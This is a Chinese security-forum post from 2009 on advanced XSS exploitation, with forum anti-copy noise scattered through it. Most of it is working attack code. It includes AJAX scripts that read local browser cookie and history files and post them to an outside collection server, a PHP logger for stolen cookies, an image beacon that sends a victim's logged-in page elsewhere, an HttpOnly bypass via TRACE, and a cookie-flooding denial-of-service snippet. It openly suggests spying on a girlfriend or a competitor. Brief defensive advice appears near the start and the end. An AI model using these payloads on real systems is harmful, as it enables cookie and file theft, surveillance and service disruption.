XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

9 b$ q5 @* I, [6 Y$ Q; ?4 XXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
  j7 X' X7 j; B$ g% p; p$ MBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权



, {: w6 l( D/ w( z-------------------------------------------前言---------------------------------------------------------


本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
  [1 @0 W5 O/ {- Q) A( E) M4 b+ p
% Z$ c' Y( p  z. Q1 w6 n# E" j
. p, m' i( d' O7 f) R- S) u/ B4 y' |如果你还未具备基础XSS知识,以下几个文章建议拜读:
" l" `) Y) o# K1 q4 g& C: ohttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
/ u4 R6 x3 z$ Fhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
" k; m; o4 ?" B. I" l: qhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
* f( @$ l, V/ n& r. \http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
. K4 u9 Q6 D, `7 Vhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
5 g2 l  M1 y) U- h" E- O. x
  }' A; Y$ B  O, p3 c8 W5 G8 s6 X7 C8 {
/ L, Q# d' t) l, p# c2 o: S

9 @1 P& i0 J6 k- g如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
' }/ O& N6 t" C, a, E
, _0 [& v+ o# Q+ V& i# N3 u希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
/ M" K, N$ Q1 M7 c3 K$ d9 ]
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
2 I3 x) P) J! m, o) e% ]
6 P8 _6 f" e/ U3 ZBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
3 g5 p4 H/ H. l0 R0 G复制代码------------------------------------------介绍-------------------------------------------------------------
) E5 O* ~1 _/ R$ K
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
) Y0 q0 y3 H0 S$ A  f
( x* M1 `, Z0 I' h' \
/ J7 t! Z$ A; J
' b* m8 D- W' j# ^$ `9 j跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



7 P. J' Y, Y) I如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
1 |* ]0 N* a" J+ W
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

, ?5 l0 o) C# v% v3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
# Z5 i- C  \. N# ?5 n
4 Z3 `5 p/ e6 ]. i4        XSS漏洞在输出和输入两个方面怎么才能避免.


' j. p8 W2 X9 h" C5 P/ q
------------------------------------------研究正题----------------------------------------------------------
/ i! O2 g& H" h0 P+ ]% X4 G0 `

+ E1 h: M: M- z6 x/ |7 ^
, h( a* b0 _$ r1 f通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
# S" Q% \6 P% |# y2 c- K1 Y复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
8 I0 s( W. T( ~6 k; j5 r% ?( d复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
. t* {+ B1 v0 c" ]  h, r9 d0 V1 D1 U3 X1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
- u8 u% O$ S+ E- @  T9 e! d2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 t. n" [& V! z3 @3 a  B# T( h3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
8 B# x  d5 S. l! t2 c3 b# Q4:Http-only可以采用作为COOKIES保护方式之一.
" K+ V5 G2 {" @8 B
! Y$ J8 A2 T+ F5 e2 H0 M8 g; I2 G
; I, \- X; a! z  U$ C6 Z

6 R5 |# L; O2 e7 ?3 P" K# j5 ~
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

( l/ p: _9 Z5 T0 G6 b& z我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
. ^  A5 T& W3 s5 S  Y! I- ?
2 x; y! Q! m4 V6 k1 m

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
$ x& T# e% ?0 S6 s4 Z* |9 f: N. a


9 G, I0 v0 C) \0 Y5 ?4 X    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


6 d4 Q, n  a7 J- A4 l5 ~' X% U
/ B  F, H! @. {9 `# {$ e0 [' `    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
- T( ~( c! r( v7 g6 F( z/ `复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}

: n( a+ C9 E5 t8 n& N0 Y/ H

    function ajax_obj(){

6 J8 E1 w/ d3 t3 o' @( n1 l    var request = false;

6 g8 o4 r4 x0 W4 u: c8 D# D    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

5 V5 V8 n  e( }, f% I9 n    } else if(window.ActiveXObject) {
& N5 E, I- b1 x% M, `/ u0 a
: d8 B6 t& B; N4 b* R    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

/ F2 n) U  B' a" |
! n" a! D( J" o- I) s! u
: O! E/ K5 K+ p    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ ^8 c8 x" I! W! V
    for(var i=0; i<versions.length; i++) {
" z. {! p+ B$ D
: u- L: U$ O5 u* c3 l$ S" l    try {

1 {0 h4 i- B, U    request = new ActiveXObject(versions);

    } catch(e) {}

4 W9 ]2 U- \" S" C7 H- H- I    }

    }

    return request;

    }
' T- O6 E% q# _! j! `
    var _x = ajax_obj();
$ G% n. ?  B# z$ E) B
    function _7or3(_m,action,argv){
, o$ @  s; ?# Y1 ?
, I9 f! H: Y$ ]6 @7 l    _x.open(_m,action,false);

, ^6 c* J! i( \0 O0 G    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
" E6 s8 m1 f0 C
    _x.send(argv);

! T( ^* M3 r8 f1 |    return _x.responseText;
$ p. |4 u$ s  [% y% `3 N
    }
; S. e1 d& u6 _; e5 e


5 g5 u0 O) u# W% B5 @    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

5 u* \" w& u' v1 O    alert(txt);
# J( g; \$ K, m. x) n2 ^


    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
( ^* Q% p" r+ a0 A. \
% g; P7 g  W0 q9 `/ @4 O5 _    function $(x){return document.getElementById(x)}

7 y$ T3 c7 _- V: o

    function ajax_obj(){

    var request = false;
: u9 c( A' P$ h* q1 y
: ^0 a% c) V  m    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

/ @* g0 P5 F8 m- b9 Q" Q( E# W    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

: M7 x, R+ p0 a2 }# s! O9 y* w
; [9 S4 N3 {2 k: Q/ M0 i
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- Q/ o8 u' P+ I
    for(var i=0; i<versions.length; i++) {
" Q* }0 I; c* k7 |+ s( T
    try {
0 b% u7 D3 R$ r% ?5 ]8 [" f
( m/ p9 v2 R  C+ b- i+ U: @& f1 j    request = new ActiveXObject(versions);
" _3 g$ M5 O6 P# M! T
    } catch(e) {}
9 x. ^0 y) q+ F- D
    }

+ B' [+ H$ O5 j- a  ?    }
4 E, b0 r  s/ k
    return request;
! C6 }9 k! Z  x! ]2 G
    }
, n0 I% c! X* ?
+ J: u3 J7 o$ ]  k7 Q4 D5 P    var _x = ajax_obj();
. f2 F: o* y! w0 [7 E+ V% j2 ?
    function _7or3(_m,action,argv){

1 {6 u) w2 d3 v* H6 l# b& c& }    _x.open(_m,action,false);
+ ?  u3 |* z5 U- G1 L8 {- y
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ M9 t% x9 ~3 o3 S, b; O3 I8 T
    _x.send(argv);

/ V, S6 o) u/ A% Y  E7 A9 U3 E    return _x.responseText;
  ~! s" V" u9 e/ ~- \2 R2 q
) q( M8 s  t6 z# u& n' {2 {7 T9 `    }


9 ^. k6 f9 P! z& u# h6 f
    var txt=_7or3("GET","1/11.txt",null);

) f! J4 v  P* l* H6 p1 q6 I/ v9 D    alert(txt);
  i+ b9 `7 B& l( Z, x


3 r3 Z3 s6 S# g6 T* I# p& `1 Z% g/ N    </script>
3 C0 x! x: s. s  L复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

- `* a+ g% x- @
2 i" G7 ]8 }0 w$ G' F  ]$ b
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
$ l' X$ n4 k6 z9 Y6 ^

& G' R0 l, [) M  ^# }
<?   
1 Q. \$ x" x5 J+ J
/*  
! o7 p2 Z, I  P
7 {6 q0 a2 T. C( K6 L$ D9 |     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   
& |* d  X5 O; b, r3 S. m
     author voidloafer@gmail.com 2009-4-22   
6 @( V- m8 E; G( S  `/ s. M
! c8 D9 H$ L  r2 p3 y" K     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
' _) o' |' T$ F
/*  

     set header, so just download html file,and open it at local.  
. F+ y  S3 U5 \' _) ~$ `2 w: F* Z
  C# [# r3 p. I! W$ Z*/  
, c8 h7 Y+ J. C% w( C8 h+ P! D
?>   
4 T4 G5 ?) i( M
% H! @7 ~+ H' `9 L<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

</form>   

( Y) N; c: M! T0 b, Q$ k& d<script>   

0 l2 b9 J% _* f$ w1 {$ j3 Rfunction doMyAjax(user)   
" z: c; F2 A& G! `( w3 G8 k
{   

var time = Math.random();   

) a5 O: j; K- o; H7 K- b7 Y2 d- K/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
# I9 }5 L6 |' ^1 P) m8 @
. Q7 C+ v, o( yand so on...  
( N4 `' e6 W1 p. _$ {9 y
& ?. t- G! [9 ?# h% L*/  

' n$ C  j% i9 g2 x" w! x4 xvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
7 z1 m* }% ]' E; }+ j
7 Z7 s( ~) ~1 m/ J! {   
) h$ v' Y% r4 e3 I$ p( A8 l
startRequest(strPer);   


; p: Z: V6 H  \
2 H; }) x) q* s/ G  G5 E9 R}   

   

function Enshellcode(txt)   

: p9 O. g* m2 Z1 i3 v{   

var url=new String(txt);   

: \0 B: O/ U, s& Lvar i=0,l=0,k=0,curl="";   

; K5 b) l' u( d9 C# I7 l* ^l= url.length;   

2 z& ]" V( V- ^$ q9 k1 a: Gfor(;i<l;i++){   
0 V* K' r0 T1 @! r" D! |$ k
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

% i+ D! B4 y+ Aif (l%2){curl+="00";}else{curl+="0000";}   
* h% O- y3 ?' w- d7 w
$ p) a9 J% b  _9 I/ O8 B- ?curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
) A/ X0 Y3 U6 y# L7 ^" o4 r8 ?
3 h9 W) F- {, g5 Y8 ]! Y" b6 t# F}   

* n  I) t  z4 u- x! h   
0 s. }4 y2 {( {$ f
) L' E# r' ]8 _( ~( o0 c- g   

2 `7 t# t9 U# w$ N+ @2 R  Svar xmlHttp;   
. M8 Y* [. @$ ^3 l& N4 L( Y
  e8 ]% ?6 g4 gfunction createXMLHttp(){   
) a7 b! N+ P: O! [# q& s' L
     if(window.XMLHttpRequest){   

1 C1 j/ o/ ~. d( ~9 u7 S. ~xmlHttp = new XMLHttpRequest();           

; r$ w5 s* p* r# u( @0 d  \     }   
1 Z9 e; @: K6 k( _: J% f3 N! N
9 v- O" A0 `/ G9 r: q7 q. v) _     else if(window.ActiveXObject){   
2 m: ^) l0 w% v2 L. v
  g4 K$ Z0 A: l* H  f+ T, pxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

. l. }+ V  q8 i3 h     }   

& j0 v4 H1 G0 \6 J. l}   
2 @$ K9 F& x& `- }3 b6 B
$ E" f# i0 z  A   

function startRequest(doUrl){   

   

     createXMLHttp();   
! e9 p7 `0 R6 d; P
$ A# h/ P& N9 B7 j& Z* a

     xmlHttp.onreadystatechange = handleStateChange;   


: G9 k* n: N7 c% Y: j
3 s! q7 ^* j, x; p     xmlHttp.open("GET", doUrl, true);   
" j( v, b0 \6 ?0 q1 e" c
  s, g6 S* i# @' x" m, Y' l* y$ G1 D

     xmlHttp.send(null);   
, w( x# w# ?0 n1 z1 @% Y4 d- M



8 e5 I5 Q, |. e/ }! y( i
}   

: ^- k0 n, q, v2 C$ }   
  P' g& D& ]% D( r- D3 h
+ C! i0 j( ^, R0 y" u9 Wfunction handleStateChange(){   
- R4 R/ E) y- }3 Z* D7 ]$ W
! u* Y, n7 m3 E/ B, \5 Z- w9 K5 v     if (xmlHttp.readyState == 4 ){   

3 A% V* ?' F" \     var strResponse = "";   
- x* k" t6 c1 e7 O& h
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

' Y  H% f, t: O, b. e$ k6 g3 u     }   
+ g6 {# g& \* H, e
" Y5 n4 ~& U8 \}   
2 W4 K. @6 R/ J. V0 B0 _
   

   
8 J) h) u( k+ V, x9 U) W0 y0 o
function framekxlzxPost(text)   
  c7 {4 M1 n# {- i! U! p# i8 B" }
8 M% @+ L# w1 s{   
5 L. k3 e) i( e% C. A
     document.getElementById("input").value = Enshellcode(text);   

% F: T  J3 Z) l' A, h! f     document.getElementById("form").submit();   

3 ^( `/ u% q. Q$ C; B0 r}   

7 ~) e6 s: d& h, ~# ?  ^   
$ Z( j! p3 V/ N. r6 \
doMyAjax("administrator");   
0 J5 \0 h! O' @% _& j1 b2 Q- S
) U% U: ]6 n9 q% O8 m   

</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
# q% M* [& e  q" [9 F0 P- A, z( {
2 e; \: x! t7 Vvar xmlHttp;  

function createXMLHttp(){  

  x% e' ~3 u, J& C: Y: A4 D2 {5 M     if(window.XMLHttpRequest){  

  C# ~' I+ L# _) a# @         xmlHttp = new XMLHttpRequest();         
1 A& }" M1 h0 B
     }  

     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

( x( G; I7 M9 O" u     }  
! R1 |& k( B* S8 E
}  

, w5 a4 ]/ b2 r) \/ S2 E" E) Q8 d2 s   
5 R* y; u' u: x
7 Z& o, m. S6 @9 u$ G8 H9 jfunction startRequest(doUrl){  
1 o0 k/ S- S5 J' m1 d7 I# c8 l! f
  b% K2 T( v7 S& _2 G, U           

/ E. n3 h( A0 o8 u$ W, v     createXMLHttp();  
) `# V8 C$ i1 c# i5 [0 ^
9 ^8 {2 R" t& \6 z      
* Q2 }7 M% ?* l5 Y
     xmlHttp.onreadystatechange = handleStateChange;  

0 S/ p4 P) N% S! l, l% q1 n& |6 K      
% o4 u. d; j( b- Q
     xmlHttp.open("GET", doUrl, true);  

# A5 g. t: w1 n7 K0 `. I- T      
4 Q( i# E8 y, q0 H9 O
* H$ O( [- M: j( J$ G+ I     xmlHttp.send(null);  
( I% s/ B" Y4 i. b; q# h4 `
      
5 L2 J# j; a! q9 O/ y! B. V! a5 X
8 a) L% ?( H8 }. r2 ?- n      
$ M9 J! o5 @/ N4 C# ^/ Z9 J# w
}   
8 U! ~/ `! B4 U( ?' O
   
0 e  n" ~. W, a0 L1 T
function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  
0 i+ Z7 T, w4 c6 e; Y9 L, Q. Q
5 D. |3 f$ s  {: i  W             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

9 B; {7 `/ y$ ?) M. l               
3 Y( Q; `# k7 {; ^) Q
     }  

}  

- R+ b) {' j0 R4 `$ b7 d   
- M% s- R3 }2 [" ?+ B, `" ?! S" |
function doMyAjax(user,file)  

{  
- D. K! O; {& L1 |
2 F( M6 |1 V* r7 T         var time = Math.random();  

           
" |9 D3 C  [: h9 W0 B) T" c
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

, S/ P  ~9 J& {  s3 J           
  M8 Y& @$ ~% P$ B
         startRequest(strPer);  

      

}  

   
/ @; T  \' v: @: w
function framekxlzxPost(text)  
3 _" }- x( `) ^1 C) i) n2 L$ W+ Q
* [7 V3 V6 k0 q% Z7 I8 I4 a{  
7 T" Q3 G+ F+ e5 r
: L% q- c) M! t) }     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
: }& g: [; T" A: \; |4 E3 [; G5 A( Y
7 s2 W; ?/ V$ a1 V     alert(/ok/);  
, a/ ~! c  j. U; c. k
}  
4 L! u# L7 L; P4 [. Y
   
1 G) f2 Y/ @: m  Z/ l+ I! Q
6 V% a3 x& n/ j) L1 ?4 MdoMyAjax('administrator','administrator@alibaba[1].txt');  
+ w" o  F/ [3 S; F: C2 ^* [4 a
. W$ X; ]# O+ G   

  _  S1 e6 c! D7 U& k6 A5 f</script>


8 g; a- `! r. q- V

7 ^: S  p2 O& m* E  L6 t
7 D$ P% x$ ^+ j, aa.php


/ b# d( {/ h* I( s. R
<?php      
6 P+ T" C9 P, t; H9 i5 f9 N
+ [. L4 Z5 R: C1 O   

! {; q% S, D4 S- v$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
! i1 F% Y: Z7 e4 C2 H, M
7 j: C& F) t2 h% r6 V$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
8 y* r, I5 `* k) S9 x
  
! w- M, Z' D0 P. Q4 @0 w/ Q
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

6 K( _  h; b, j; X& I' |: wfwrite($fp,$_GET["cookie"]);      

' ]) N' x2 M* O- T- r, Vfclose($fp);   
( F/ d6 z6 V" Q% W
?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
: T5 {. b# Y1 r. _+ K' p4 I利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
( C9 p) d9 V; b2 E+ z3 ]$ W
. n( _1 Y0 z6 o! c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
; i) |9 d( P( _3 S
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
  S# M5 l! x6 t  U: g9 A
8 N7 X* C5 m* S* X4 p$ U: m: \//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
/ K/ L4 k7 }0 e
7 x8 h) p8 O8 m' K" \8 Zfunction getURL(s) {

var image = new Image();

9 u% g: W6 k8 [  l3 Limage.style.width = 0;

# M' c8 K5 Z2 ^: T; Qimage.style.height = 0;
, s: B4 {2 A3 {, L5 E
; g  w+ B9 |3 @image.src = s;

, r( q* Z! M% ^: k* r, b# z}

7 b3 o* L8 S5 p/ ?" }9 |getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
9 o: @+ ]* c- Y3 v& G) ?复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: ^4 S( ~9 B+ [3 G/ P这里引用大风的一段简单代码:<script language="javascript">

0 k7 f  u! J3 D2 E/ rvar metastr = "AAAAAAAAAA"; // 10 A
" ?# ]" f" r0 H; f
var str = "";

while (str.length < 4000){
6 s! D; z" f, c) g3 Q+ M
9 ?5 ?& k" Y( s) T+ Q# t& O) _$ a    str += metastr;

) U0 T  \9 R( W! W) l}

+ P$ H  K" S) ^$ _* g

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
; \6 }9 E+ I7 s1 E+ u. K
</script>
: n- |3 ?# C7 V5 R) T9 ~0 Y
' ]  v! _) w; C3 E: }$ a# c6 g详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
" t9 M2 s0 @+ K复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
1 E9 ?/ q+ h" N! Mserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
1 d9 ?0 s1 X7 [
0 f( b, \1 N6 X6 N3 f) g假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
6 _/ o6 c  u1 b' p. @攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
$ y  w7 B+ y- u! r: j

2 `. U5 w" _7 e& q


; G. t8 O. l8 d0 ^5 |9 c+ f8 C) d
(III) Http only bypass 与 补救对策:

7 t3 w( q/ U& f什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

. e$ i) Q, K5 G# r2 _& g5 K9 qfunction normalCookie() {

8 U4 Z! e$ ?# x7 X5 i' l# hdocument.cookie = "TheCookieName=CookieValue_httpOnly";
7 t0 @6 n1 c9 K
alert(document.cookie);
1 S& v! k# M8 ?) S
}
) y. @/ [1 r2 E5 c  `& {; N6 \
% g; |3 A2 S  U% x9 Y$ B# o0 M  G; i


5 y# D+ @; w  c) @. F. \. S
function httpOnlyCookie() {

% G  ~" u+ P4 ?2 q( {. t9 m' S4 v8 t: xdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

' |! R% k( @" b- f; Y6 z2 Falert(document.cookie);}
! ?) M$ Z* W3 r


//-->
! w9 u7 W- d2 X7 b( R- T
</script>
1 ~+ }# ?- o! |9 L& P& o# |

$ x2 m7 k, h9 n$ G' Y$ T: f
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

0 `* h  [. r4 ~; x; s2 R<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
4 W: g. z7 Y& W2 ?' r+ a1 f


9 U- s; [& N( Zvar request = false;

( O4 f. ^- G9 e1 X, D        if(window.XMLHttpRequest) {
, F7 m2 {+ I5 ^9 A
1 _" B- ]  V4 i            request = new XMLHttpRequest();
6 F, M9 _9 [7 a7 P' O
            if(request.overrideMimeType) {
! k: Q, Y/ `5 d7 z! _6 J) M( d
8 H+ L8 I0 T2 A                request.overrideMimeType('text/xml');
1 |0 F/ M1 Y. _: L: h
+ P/ B7 [9 B+ S1 F* E- i            }

1 f, @9 _( O" T$ t$ T# v5 }6 S# Z        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 h/ d, S. X4 |# w( D
( @  U3 l; {* F5 n8 `8 I; i            for(var i=0; i<versions.length; i++) {
% i5 u1 `0 I) u
                try {

. m; |$ n9 R+ a( N+ u9 G0 V                    request = new ActiveXObject(versions);
. u# Z7 t% A3 z* Q5 a# S
: J9 V& C8 t' h3 c; o                } catch(e) {}
! T* Q: u, s6 L& O
/ T/ K  u( Y3 I            }

        }

xmlHttp=request;

: |% T; k& H" b4 O( n+ lxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
4 M7 m) ?2 L' }! z+ _# O
' I- p% m( R0 H+ J( ZxmlDoc=xmlHttp.responseText;

! H6 l4 a: z+ Valert(xmlDoc);
. u3 d* R9 P- n4 Z' @- C4 ^- x
</script>
1 y  f# W% G3 y3 r) @复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
5 s; N, ^8 O# v+ Z/ F* O6 ]
# w7 M7 Q7 o" i1 evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

  }6 B5 j, C/ N6 g  JXmlHttp.open("GET","http://www.google.com",false);
- Y! B* J9 Z+ D$ n9 `+ \
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

4 N& T( r: l5 s4 y" t5 r8 x' yXmlHttp.send(null);

- a$ w6 @6 D- dvar resource=xmlHttp.responseText

" h; a) C  e1 @resource.search(/cookies/);
8 {4 ?+ p+ A" t- h' }
# x, d$ ~9 j' R+ R$ F: ]......................

0 t. L: W5 y9 T* |' p' c</script>


4 k; B8 n7 ^6 c& ?8 ~: R

4 [# |0 g1 S/ U# t. l  \  N
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
  [+ \: i6 w7 `2 l6 L
5 \! e4 g0 {. s- E; t/ |3 w# u[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
% l  S# _. y/ j& z' }
RewriteRule .* - [F]
6 }; B- u' {0 s$ l( W; ?
1 s: W1 m( q$ K3 I

* {/ _' w' {7 Z* D$ m: w/ g. qSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
  g. ?  w% ^( `( v
acl TRACE method TRACE
2 e# K4 T' t8 W+ c2 e& I' k" a
...

" C+ u9 o3 b& C8 J+ l: vhttp_access deny TRACE
